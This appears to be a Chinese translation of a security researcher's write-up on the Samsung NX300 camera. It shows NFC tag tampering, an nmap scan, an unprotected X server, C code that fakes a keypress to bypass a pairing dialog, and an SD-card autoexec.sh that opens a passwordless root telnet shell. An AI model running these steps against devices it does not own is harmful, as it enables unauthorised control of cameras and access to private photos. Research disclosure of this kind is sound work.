三星NX300是一款无反光相机且内置NFC功能并可以连接WiFi。你可以通过连接本地WiFi将需要上传的内容传至云服务器,通过DLNA电视或智能手机来分享图片,对于后者提供了远程远程取景器以及MobileLink 功能,通过没有加密的无线接入点可以访问X server以及任何数据。
下文将会展示过程,当然你也可以随时关注这个项目。
Ntag203是指NFC里面的芯片的一种,同时也是是NXP推出的第一款针对NFC的芯片。利用预编程在用户存储器缓冲区里面的SRAM映射允许NDEF消息内容的动态更新,通过谷歌商店下载并安装三星智能相机APP,然后向应用程序提供无线接入点名称。
Type: MIME: application/com.samsungimaging.connectionmanager
Payload: AP_SSC_NX300_0-XX:XX:XX
Type: EXTERNAL: urn:nfc:ext:android.com:pkg
Payload: com.samsungimaging.connectionmanager
标签是可以擦写的,所以一些恶意攻击者可以修改标签来下载恶意程序,然后再打开网页发现访问的是非法网站,通过具有NFC功能的智能手机就可以看到,这可以证明修改
标签可以自定义一个网站链接,deployed标签是支持长久写入锁定的,如果你遇到一个爱开玩笑的恶意攻击者,会把你的设备定向到一个色情网站。
你可以配置NX300来连接无线网络,它会开放一些功能,例如DLNA功能,来运行一下端口扫描来看看都有什么服务
megavolt:~# nmap -sS -O nx300
Starting Nmap 6.25 ( http://nmap.org ) at 2013-11-21 22:37 CET
Nmap scan report for nx300.local (192.168.0.147)
Host is up (0.0089s latency).
Not shown: 999 closed ports
PORT STATE SERVICE
6000/tcp open X11
MAC Address: A0:21:95:**:**:** (Unknown)
No exact OS matches for host (If you know what OS is running on it, see here ).
当“E-Mail”应用程序打开之后,开始扫描,当MobileLink、7676/tcp以及AllShare Play开启。此外,远程取景器模式开启,也需要打开7679/tcp。
X Server是开放的吗?
georg@megavolt:~$ DISPLAY=nx300:0 xlsfonts
-misc-fixed-medium-r-semicondensed–0-0-75-75-c-0-iso8859-1
-misc-fixed-medium-r-semicondensed–13-100-100-100-c-60-iso8859-1
-misc-fixed-medium-r-semicondensed–13-120-75-75-c-60-iso8859-1
6×13
cursor
fixed
georg@megavolt:~$ DISPLAY=nx300:0 xrandr
Screen 0: minimum 320 x 200, current 480 x 800, maximum 4480 x 4096
LVDS1 connected 480×800+0+0 (normal left inverted right x axis y axis) 480mm x 800mm
480×800 60.0*+
HDMI1 disconnected (normal left inverted right x axis y axis)
georg@megavolt:~$ for i in $(xdotool search ‘.’) ; do xdotool getwindowname $i ; done
Defaulting to search window name, class, and classname
Enlightenment Background
acdaemon,key,receiver
Enlightenment Black Zone (0)
Enlightenment Frame
di-camera-app-nx300
Enlightenment Frame
smart-wifi-app-nx300
不!这个X server并没有受到保护,这里出现了运行程序提示,我们甚至可以在里面运行应用程序,但显示内容有限
利用相机上键子与X11系统功能进行绑定,如下
当相机开启时候,会进行检索,向 http://gld.samsungosp.com 发出一个请求
请求:
GET / HTTP/1.1
Content-Type: text/xml;charset=utf-8
Accept: application/x-shockwave-flash, application/vnd.ms-excel, */*
Accept-Language: ko
User-Agent: Mozilla/4.0
Host: gld.samsungosp.com
返回结果
HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Type: text/html
Date: Thu, 28 Nov 2013 16:23:48 GMT
Last-Modified: Mon, 31 Dec 2012 02:23:18 GMT
Server: nginx/0.7.65
Content-Length: 7
Connection: keep-alive
200 OK
响应:
这看起来像是空操作指令,但也许这是一个后门,允许远程执行代码?谁知道?然后向 http://ipv4.connman.net/online/status.html 发出请求,返回一个空文件。里面的文件头含有你的位置信息(显然是从IP地址获取的)
X-ConnMan-Status: online
X-ConnMan-Client-IP: ###.###.##.###
X-ConnMan-Client-Address: ###.###.##.###
X-ConnMan-Client-Continent: EU
X-ConnMan-Client-Country: DE
X-ConnMan-Client-Region: ##
X-ConnMan-Client-City: ###### (my actual city)
X-ConnMan-Client-Latitude: ##.166698
X-ConnMan-Client-Longitude: ##.666700
X-ConnMan-Client-Timezone: Europe/Berlin
好吧他们知道我的IP,至少没有查询任何特定的标识符然后发送,最后一步,相机固件版本更新以及根据日志重新定向到一个XML文档。到目前为止已知的版本:
1.40 XML (ZIP, 241MB)
1.32 XML (ZIP, 241MB)
两个应用程序(MobileLink, Remote Viewfinder)连接未加密无线接入点 AP_SSC_NX300_0-XX:XX:XX (XX:XX:XX是Mac地址一部分),值得注意的是,这里有一个认证的对话框,防止远程控制。
不幸的是这个对话框出现在开放的X server上面,所以我们需要伪造一个KP_Return事件(基于bharathisubramanian实例),根据启用的不同模式,我们可以连接任意的客户端,然后利用sd卡下载图片资料。
#include <X11/Xlib.h>
#include <X11/Intrinsic.h>
#include <X11/extensions/XTest.h>
#include <unistd.h>
/* Send Fake Key Event */
static void SendKey (Display * disp, KeySym keysym, KeySym modsym){
KeyCode keycode = 0, modcode = 0;
keycode = XKeysymToKeycode (disp, keysym);
if (keycode == 0) return;
XTestGrabControl (disp, True);
/* Generate modkey press */
if (modsym != 0) {
modcode = XKeysymToKeycode(disp, modsym);
XTestFakeKeyEvent (disp, modcode, True, 0);
}
/* Generate regular key press and release */
XTestFakeKeyEvent (disp, keycode, True, 0);
XTestFakeKeyEvent (disp, keycode, False, 0);
/* Generate modkey release */
if (modsym != 0)
XTestFakeKeyEvent (disp, modcode, False, 0);
XSync (disp, False);
XTestGrabControl (disp, False);
}
/* Main Function */
int main (){
Display *disp = XOpenDisplay (NULL);
sleep (1);
/* Send Return */
SendKey (disp, XK_Return, 0);
}
当使用安卓系统应用程序里面查询功能DLNA 服务会暴漏出相机的一些问题,设备名称[Camera]NX300,可以通过HTTP 请求发送 http://nx300:7676/smp_2_
<dlna:X_DLNADOC>DMS-1.50</dlna:X_DLNADOC>
<deviceType>urn:schemas-upnp-org:device:MediaServer:1</deviceType>
<friendlyName>[Camera]NX300</friendlyName>
<manufacturer>Samsung Electronics</manufacturer>
<manufacturerURL> http://www.samsung.com </manufacturerURL>
<modelDescription>Samsung Camera DMS</modelDescription>
<modelName>SP1</modelName>
<modelNumber>1.0</modelNumber>
<modelURL> http://www.samsung.com </modelURL>
<serialNumber>20081113 Folderview</serialNumber>
<sec:X_ProductCap>smi,getMediaInfo.sec,getCaptionInfo.sec</sec:X_ProductCap>
<UDN>uuid:XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX</UDN>
<serviceList>
<service>
<serviceType>urn:schemas-upnp-org:service:ContentDirectory:1</serviceType>
<serviceId>urn:upnp-org:serviceId:ContentDirectory</serviceId>
<controlURL>/smp_4_</controlURL>
<eventSubURL>/smp_5_</eventSubURL>
<SCPDURL>/smp_3_</SCPDURL>
</service>
<service>
<serviceType>urn:schemas-upnp-org:service:ConnectionManager:1</serviceType>
<serviceId>urn:upnp-org:serviceId:ConnectionManager</serviceId>
<controlURL>/smp_7_</controlURL>
<eventSubURL>/smp_8_</eventSubURL>
<SCPDURL>/smp_6_</SCPDURL>
</service>
</serviceList>
<sec:deviceID>
</sec:deviceID>
</device>
附加SOAP服务来改变对焦和闪光灯设置 (/smp_3_)
另外一种服务图像/视频 (/smp_4_)
<?xml version=”1.0″ encoding=”utf-8″?>
<s:Envelope xmlns:s=” http://schemas.xmlsoap.org/soap/envelope/ ” s:encodingStyle=” http://schemas.xmlsoap.org/soap/encoding/ “>
<s:Body>
<u:GetInfomationResponse xmlns:u=”urn:schemas-upnp-org:service:ContentDirectory:1″>
<GETINFORMATIONRESULT>
<Resolutions>
<Resolution><Width>5472</Width><Height>3648</Height></Resolution>
<Resolution><Width>1920</Width><Height>1080</Height></Resolution>
</Resolutions>
<Flash>
<Supports><Support>off</Support><Support>auto</Support></Supports>
<Defaultflash>auto</Defaultflash>
</Flash>
<FlashDisplay>
<Supports><Support>off</Support><Support>auto</Support></Supports>
<CurrentFlashDisplay>off</CurrentFlashDisplay>
</FlashDisplay>
<ZoomInfo>
<DefaultZoom>0</DefaultZoom>
<MaxZoom>1</MaxZoom>
</ZoomInfo>
<AVAILSHOTS>289</AVAILSHOTS>
<ROTATION>1</ROTATION>
<StreamQuality>
<Quality><Option>high</Option><Option>low</Option></Quality>
<Default>high</Default>
</StreamQuality>
</GETINFORMATIONRESULT>
<StreamUrl>
<QualityHighUrl> http://192.168.102.1:7679/livestream.avi </QualityHighUrl>
<QualityLowUrl> http://192.168.102.1:7679/qvga_livestream.avi </QualityLowUrl>
</StreamUrl>
</u:GetInfomationResponse>
</s:Body>
</s:Envelope>
再触发正确的指令后,一个在线的视频出现在 http://nx300:7679/livestream.avi ,如果尝试利用 wget或mplayer获取一些视频会失败。“源代码”在三星的开源软件发布 平台 ,压缩包大小约834MB,主要包括三份 rootfs image(每份400-500MB),还有一些脚本程序。当然在TIZEN/project/NX300/image/rootdir/opt/sd0/DCIM/100PHOTO下面会有一些Obamapics。该项目建立在旧版本的Tizen系统上,我在这方面不是高手,有些人会将这些分开,生成一个正确的运行环境或利用OpenWRT端口。
上面已经对NFC以及WiFi功能做了介绍,下面将会更深入的介绍,在相机上获取root权限并远程执行shell脚本程序,这个过程比较实用可以借鉴到不同的电子产品,例如家用路由器、智能电视机等。
大多数的固件都在运行时会给用户提供一个shell脚本,这个功能通常是在“software engineers”添加的,从另一方面来看,这也是一个本地权限“后门”,对于相机,sd卡是一个存储与搜索文件的好地方。其它的一些设备可能从U盘或内置硬盘来运行程序。
通常情况下我们升级固件文件(nx300.bin压缩包大小241MB),通过 binwalk(固件分析软件)分析,设置并挂载根文件系统,然而在这种情况下,三星开源软件发布平台曾发布一个根系统文件树TIZEN/project/NX300/image/rootfs
georg@megavolt:TIZEN/project/NX300/image/rootfs$ ls -l
total 72
drwxr-xr-x 4 4096 Oct 16 2013 bin/
drwxr-xr-x 3 4096 Oct 16 2013 data/
drwxr-xr-x 3 4096 Oct 16 2013 dev/
drwxr-xr-x 38 4096 Oct 16 2013 etc/
drwxr-xr-x 9 4096 Oct 16 2013 lib/
-rw-r–r– 1 203 Oct 16 2013 make_image.log
drwxr-xr-x 8 4096 Oct 16 2013 mnt/
drwxr-xr-x 3 4096 Oct 16 2013 network/
drwxr-xr-x 16 4096 Oct 16 2013 opt/
drwxr-xr-x 2 4096 Oct 16 2013 proc/
lrwxrwxrwx 1 13 Oct 16 2013 root -> opt/home/root/
drwxr-xr-x 2 4096 Oct 16 2013 sbin/
lrwxrwxrwx 1 8 Oct 16 2013 sdcard -> /mnt/mmc
drwxr-xr-x 2 4096 Oct 16 2013 srv/
drwxr-xr-x 2 4096 Oct 16 2013 sys/
drwxr-xr-x 2 4096 Oct 16 2013 tmp/
drwxr-xr-x 16 4096 Oct 16 2013 usr/
drwxr-xr-x 13 4096 Oct 16 2013 var/
我们找到对应位置来看看 貌似这个文件make_image.log在相机组装之前,有人忘记清理了(这个文件实际上就存在相机中)
SBS logging begin
Wed Oct 16 14:27:21 KST 2013
WARNING: setting root UBIFS inode UID=GID=0 (root) and permissions to u+rwx,go+rx; use –squash-rino-perm or –nosquash-rino-perm to suppress this warning
如果我们可以认为/sdcard下有symlin,sd卡被挂载在/mnt/mmc目录下,实际上该目录下会有许多之前的脚本或者工具,我们开始运行它们
georg@megavolt:TIZEN/project/NX300/image/rootfs$ grep /mnt/mmc -r .
./etc/fstab:/dev/mmcblk0 /mnt/mmc exfat noauto,user,umask=1000 0 0
./etc/fstab:/dev/mmcblk0p1 /mnt/mmc exfat noauto,user,umask=1000 0 0
./usr/sbin/pivot_rootfs_ubi.sh:umount /oldroot/mnt/mmc
./usr/sbin/rcS.pivot: mkdir -p /mnt/mmc
./usr/sbin/rcS.pivot: mount -t vfat -o noatime,nodiratime $card_path /mnt/mmc
./usr/bin/inspkg.sh: mount -t vfat /dev/mmcblk0 /mnt/mmc
./usr/bin/inspkg.sh: mount -t vfat /dev/mmcblk0p1 /mnt/mmc
./usr/bin/inspkg.sh:mount -t vfat /dev/mmcblk0p1 /mnt/mmc
./usr/bin/inspkg.sh:find /mnt/mmc -name “*$1*.deb” -exec dpkg -i {} /; 2> /dev/null
./usr/bin/ubi_initial.sh:mount -t vfat /dev/mmcblk0p1 /mnt/mmc
./usr/bin/ubi_initial.sh:cd /mnt/mmc
./usr/bin/remount_mmc.sh: nr_mnt_dev=`/usr/bin/stat -c %d /mnt/mmc` #/opt/storage
./usr/bin/remount_mmc.sh: umount /mnt/mmc 2> /dev/null
./usr/bin/remount_mmc.sh: /bin/mount -t vfat /dev/mmcblk${i}p1 /mnt/mmc -o uid=0,gid=0,dmask=0000,fmask=0000,iocharset=iso8859-1,utf8,shortname=mixed
./usr/bin/remount_mmc.sh: /bin/mount -t vfat /dev/mmcblk${i} /mnt/mmc -o uid=0,gid=0,dmask=0000,fmask=0000,iocharset=iso8859-1,utf8,shortname=mixed
[ stripped a bunch of binary matches in /usr/bin and /usr/lib ]
在这里我们可以看到Linux启动配置文件(fstab, rcS.pivot, ubi_initial.sh),这有一个非常有趣的脚本可以让sd卡 (inspkg.sh)安装Debian 软件包,以及50个共享对象,同时在 /mnt/mmc
下存在可执行二进制文件。
首先我们来看看inspkg.sh
#! /bin/sh
echo $1
if [ "$#" = "2" ]
then
if [ "$2" = "0" ]
then
echo -e “mount mmcblk0..”
mount -t vfat /dev/mmcblk0 /mnt/mmc
else
echo -e “mount mmcblk0p1…”
mount -t vfat /dev/mmcblk0p1 /mnt/mmc
fi
else
echo -e “mount mmcblk0p1…”
mount -t vfat /dev/mmcblk0p1 /mnt/mmc
fi
find /mnt/mmc -name “*$1*.deb” -exec dpkg -i {} /; 2> /dev/null
echo -e “sync….”
sync
这是一个 shell 脚本,同时需要1-2个参数。第一个是为了寻找安装包的名称(利用find命令来查找目标名称),第二个命令被用来正确挂载sd卡分区,当然我们也可以用这个命令安装 dropbear、gcc、moon-buggy。现在我们就需要弄清楚这些脚本是如何运行的
georg@megavolt:TIZEN/project/NX300/image/rootfs$ grep -r inspkg.sh .
georg@megavolt:TIZEN/project/NX300/image/rootfs$
然而固件文件中并没有它,我们需要走另外一条路。
在 /usr/bin目录下,里面最有意思的文件是 di-camera-app-nx300,可以参考/mnt/mmc/Demo/NX300_Demo.mp4,/mnt/mmc/SYSTEM/Device.xml以及/mnt/mmc/sounds/ 目录下的一些WAV文件,这些看起来和用户操作界面操作有关系(删除文件操作等)。这显然是 binary blob可以控制有趣的事情(如用户界面,快门,和图像处理器),目前有不少的电子消费产品已经开源了,并包含一个可执行程序运行库。正如预期的那样,这个程序不知道从哪里冒出来的,但有出现安装过安装包(di-camera-app-nx300 Debian (安装包version 0.2.387))的痕迹。
Package: di-camera-app-nx300
Status: install ok installed
Priority: extra
Section: misc
Installed-Size: 87188
Maintainer: Sookyoung Maeng <[snip]@samsung.com>, Jeounggon Yoo <[snip]@samsung.com>
Architecture: armel
Source: di-camera-app
Version: 0.2.387
Depends: libappcore-common-0, libappcore-efl-0, libaul-1, libbundle-0, libc6 (>= 2.4),
libdevman-0, libdlog-0, libecore, libecore-evas, libecore-file, libecore-input,
libecore-x, libedje (>= 0.9.9.060+svn20100304), libeina (>= 1.0.0.001+svn20100831),
libelm, libevas (>= 0.9.9.060+svn20100203), libgcc1 (>= 1:4.4.0),
libglib2.0-0 (>= 2.12.0), libmm-camcorder, libmm-player, libmm-sound-0,
libmm-utility, libnetwork-0, libnl2 (>= 2.0), libslp-pm-0, libslp-utilx-0,
libstdc++6 (>= 4.5), libvconf-0, libwifi-wolf-client, libx11-6,
libxrandr2 (>= 2:1.2.0), libxtst6, prefman, libproduction-mode,
libfilelistmanagement, libmm-common, libmm-photo, libasl, libdcm,
libcapture-fw-slpcam-nx300, libvideo-player-ext-engine, libhibernation-slpcam-0,
sys-mmap-manager, libstorage-manager, libstrobe, libdustreduction, libmm-slideshow,
di-sensor, libdi-network-dlna-api, libproduction-commands, d4library,
diosal
Description: Digital Imaging inhouse application for nx300
所以这个安装包通过即“ di-camera-app”创建的,除了“内部”,其它地方是不存在的。除了一些启动/停止程序脚本,在 TIZEN/build/exec.sh目录下还有一些有趣的脚本,看起来像是启动和安装混合在一起的脚本程序
#!/bin/sh
#
cp -f *.so /usr/lib
cp -f di-camera-app-nx300 /usr/bin
sync
sync
sync
sleep 1
cd /
startx; di-camera-app &
(因为只有一个是同步的,你可能一直不清楚这一点,如果你保证你的300%数据都已经写入进去可能两个程序都已经在运行状态下了)
当相机应用程序连接WiFi时,你会注意到另外一个“magic binary blob”, smart-wifi-app-nx300(三星创建的名称),然而没有一个程序做出有关代码执行的提示,我们需要更深入的挖掘。
/usr/lib目录下情况有所不同,从文件中读取字符串到 string对象,一定要注意sd卡挂载点。(限制输出相关线程)
georg@megavolt:TIZEN/project/NX300/image/rootfs$ for f in `grep -l /mnt/mmc *.so` ; do /
echo “— $f” ; strings $f | grep /mnt/mmc; done
[snip]
— libmisc.so
/mnt/mmc
/mnt/mmc/autoexec.sh
— libnetwork.so
/mnt/mmc/iperf.txt
— libstorage.so
/usr/bin/iozone -A -s 40m -U /mnt/mmc -f /mnt/mmc/test -e > /tmp/card_result.txt
cp /tmp/card_result.txt /mnt/mmc
/mnt/mmc/auto_run.sh
/mnt/mmc/autoexec.sh以及/mnt/mmc/auto_run.sh这两个文件目录一直都是我们想要找到的。我们尝试修改其中一个看看会发生什么。
autoexec.sh
为了看见测试结果,我们需要通过USB安装相机驱动,在其文件夹根目录下创建autoexec.sh 文件(Windows用户注意,此处需要UNIX换行符!)
#!/bin/sh
LOG=/mnt/mmc/autoexec.log
date >> $LOG
id >> $LOG
echo “$PATH” >> $LOG
ps axfu >> $LOG
mount >> $LOG
卸载相机驱动,关掉再打开,等待几秒钟,再安装它,如果我们幸运的话可以很快看到测试结果。autoexec.log信息出现了!现在我们可以分析里面的内容了。
Fri May 9 06:25:20 UTC 2014
uid=0(root) gid=0(root)
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/X11R6/bin:/sbin:/usr/local/bin:/usr/scripts
这个输出结果是刚刚出现的,并且以管理员权限运行的。
PID VSZ RSS STAT COMMAND
[stripped boring kernel threads and some columns]
1 2988 52 Ss init
139 11460 1348 S /usr/bin/system_server
144 2652 188 Ss dbus-daemon –system
181 3416 772 Ss /usr/bin/power_manager
232 12268 4608 S<s+ /usr/bin/Xorg :0 -logfile /opt/var/log/Xorg.0.log -ac -noreset /
-r +accessx 0 -config /usr/etc/X11/xorg.conf -configdir /usr/etc/X11/xorg.conf.d
243 2988 76 Ss init
244 2988 56 Ss init
245 2988 60 Ss+ init
246 2988 56 Ss+ init
247 2988 8 S sh /usr/etc/X11/xinitrc
256 20200 2336 S /_ /usr/bin/enlightenment -profile samsung /
-i-really-know-what-i-am-doing-and-accept-full-responsibility-for-it
254 19876 8 S /usr/bin/launchpad_preloading_preinitializing_daemon
255 12648 816 S /usr/bin/ac_daemon
259 3600 8 S dbus-launch –exit-with-session /usr/bin/enlightenment -profile samsung /
-i-really-know-what-i-am-doing-and-accept-full-responsibility-for-it
260 2652 8 Ss /usr/bin/dbus-daemon –fork –print-pid 5 –print-address 7 –session
267 690688 34760 Ssl di-camera-app-nx300
404 2988 520 S /_ sh -c /mnt/mmc/autoexec.sh
405 2988 552 S /_ /bin/sh /mnt/mmc/autoexec.sh
408 2860 996 R /_ ps axfu
脚本程序( di-camera-app-nx300)被创建后,此处显示了详细的信息。这个挂载点也十分正确,上面显示了UBIFS闪存文件系统以及sd卡上的FAT64分区。
rootfs on / type rootfs (rw)
ubi0!rootdir on / type ubifs (ro,relatime,bulk_read,no_chk_data_crc)
devtmpfs on /dev type devtmpfs (rw,relatime,size=47096k,nr_inodes=11774,mode=755)
none on /proc type proc (rw,relatime)
tmpfs on /tmp type tmpfs (rw,relatime)
tmpfs on /var/run type tmpfs (rw,relatime)
tmpfs on /var/lock type tmpfs (rw,relatime)
tmpfs on /var/tmp type tmpfs (rw,relatime)
tmpfs on /var/backups type tmpfs (rw,relatime)
tmpfs on /var/cache type tmpfs (rw,relatime)
tmpfs on /var/local type tmpfs (rw,relatime)
tmpfs on /var/log type tmpfs (rw,relatime)
tmpfs on /var/mail type tmpfs (rw,relatime)
tmpfs on /var/opt type tmpfs (rw,relatime)
tmpfs on /var/spool type tmpfs (rw,relatime)
tmpfs on /opt/var/log type tmpfs (rw,relatime)
sysfs on /sys type sysfs (rw,relatime)
/dev/ubi2_0 on /mnt/ubi2 type ubifs (ro,noatime,nodiratime,bulk_read,no_chk_data_crc)
/dev/ubi1_0 on /mnt/ubi1 type ubifs (rw,noatime,nodiratime,bulk_read,no_chk_data_crc)
/dev/mmcblk0 on /mnt/mmc type exfat (rw,nosuid,nodev,noatime,nodiratime,uid=5000,gid=6,fmask=0022,
dmask=0022,allow_utime=0020,codepage=cp437,iocharset=iso8859-1,namecase=0,errors=remount-ro)
当然当你加载第一个WiFi应用程序之前,默认情况下相机是处于没有连接WiFi的状态下。如果在家中可以测试邮件应用程序,当你启动应用程序,看起来相机正在搜索周围的网络(记得配置相机网络开关),并在这个步骤停留一段时间,保证与服务器连接是开放的(通过autoexec.sh)。在网上下载dropbear客户端(dropbear_rsa_host_key and authorized_keys),这就是我遇到的问题
[443] May 09 12:00:45 user ‘root’ has blank password, rejected
在这个时候我意识到了一件事情,我首先应该检查
lrwxrwxrwx 1 17 May 22 2013 /usr/sbin/telnetd -> ../../bin/busybox
我们自带busybox,同时busybox可以配置telnetd,这样就可以轻松实现远程访问,这个结果和我预期是一样的
georg@megavolt:~$ telnet nx300
Trying 192.168.0.147…
Connected to nx300.local.
Escape character is ‘^]’.
Connection closed by foreign host.
georg@megavolt:~$ telnet nx300
Trying 192.168.0.147…
telnet: Unable to connect to remote host: Connection refused
telnet端口是开放的,某些程序正在运行但是我的程序崩溃了,在重新启动安装之后又出现了该问题
telnetd: can’t find free pty
但该问题的解决方案(点击我)是存在的,现在我们可以开始远程登录相机吧?
georg@megavolt:~$ telnet nx300
Trying 192.168.0.147…
Connected to nx300.local.
Escape character is ‘^]’.
************************************************************
* SAMSUNG LINUX PLATFORM *
************************************************************
nx300 login: root
Login incorrect
到了这一步不能登录了,也许我们可以使用方法绕过这个?没有有关busybox telnetd的任何提示信息?
-l LOGIN Exec LOGIN on connect
也许我们可以利用shell脚本来解决登录密码这个问题?我们来更改sd卡中 autoexec.sh脚本程序来实现这一点?
#!/bin/sh
mkdir -p /dev/pts
mount -t devpts none /dev/pts
telnetd -l /bin/bash -F > /mnt/mmc/telnetd.log 2>&1 &
在重新启动登录之后,进到系统里面了:
georg@megavolt:~$ telnet nx300
Trying 192.168.0.147…
Connected to nx300.local.
Escape character is ‘^]’.
************************************************************
* SAMSUNG LINUX PLATFORM *
************************************************************
nx300:/# cat /proc/cpuinfo
Processor : ARMv7 Processor rev 8 (v7l)
BogoMIPS : 1395.91
Features : swp half thumb fastmult vfp edsp neon vfpv3 tls
CPU implementer : 0×41
CPU architecture: 7
CPU variant : 0×2
CPU part : 0xc09
CPU revision : 8
Hardware : Samsung-DRIMeIV-NX300
Revision : 0000
Serial : 0000000000000000
nx300:/# free
total used free shared buffers cached
Mem: 512092 500600 11492 0 132 41700
-/+ buffers/cache: 458768 53324
Swap: 30716 8084 22632
nx300:/# df -h /
Filesystem Size Used Available Use% Mounted on
ubi0!rootdir 352.5M 290.8M 61.6M 83% /
nx300:/# ls -al /opt/sd0/DCIM/100PHOTO/
total 1584
drwxr-xr-x 2 root root 520 May 22 2013 .
drwxr-xr-x 3 root root 232 May 22 2013 ..
-rwxr-xr-x 1 root root 394775 May 22 2013 SAM_0015.JPG
-rwxr-xr-x 1 root root 335668 May 22 2013 SAM_0016.JPG [Obama was here]
-rwxr-xr-x 1 root root 357591 May 22 2013 SAM_0017.JPG
-rwxr-xr-x 1 root root 291493 May 22 2013 SAM_0018.JPG
-rwxr-xr-x 1 root root 232470 May 22 2013 SAM_0019.JPG
nx300:/#
到了这一步之后,你就获取到网络权限从Linux应用程序到达了这里,你可以在相机上操作更多的东西了。前面已经对远程控制做出了说明,到这里主要是对前面项目做一些整理以及补充。
固件版本1.41, X server 是关闭的,并且多了一个WiFi加密选项(wpa2)。
【V1.41 ]】
1、增加Wi-Fi隐私锁定功能
2、修改开源许可证
不幸的是,这个八位数的密码可以在1小时左右被GPU加速工具PYRIT破解,虽然没有较高的安全性,但这也取决于攻击者。三星在1.11版本之后的固件就已经将 autoexec.sh,但作者建议移回,认为这不是一个安全问题。
Markus A. Kuppe已经制作了一个 教程 关于NX300相机上传照片与备份的,主要利用相机上ftp客户端以及树莓派ftp服务器,值得注意的是在相机连接WiFi时候自动打开,利用 DBus以及wpa_supplicant.conf配置文件
cp /mnt/mmc/wpa_supplicant.conf /tmp/
/usr/bin/wlan.sh start NL 0×8210
/usr/sbin/connmand -W nl80211 -r
/usr/sbin/net-config
sleep 2
dbus-send –system –type=method_call –print-reply –dest=net.connman /
/net/connman/service/wifi_a0219572b25b_7777772e6c656d6d737465722e6465_managed_psk /
net.connman.Service.Connect
Jonathan Dieter 做的备份程序( 点击我 )。
Markus提供了 额外的内核模块 ,可以允许我们扩展功能但又不用重刷固件。
Doug Hickok提出了一个方案,他修改了固件使用密匙加密照片,这个比较有趣如果一个摄影师或者记者想要保存照片就可以这样做。储存在sd卡的第一张图片就可以加密同时也可以删除,但
尽量不要在实际中使用,一旦失误操作是很悲剧的。
Samsung NX系列相机基于Tizen系统(NX1、NX200、NX2000、NX300M等),作者给出了一些详细信息( 点击我 )。
详细了解( 点击我 )。
*参考来源: op-co ,FB小编亲爱的兔子编译,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)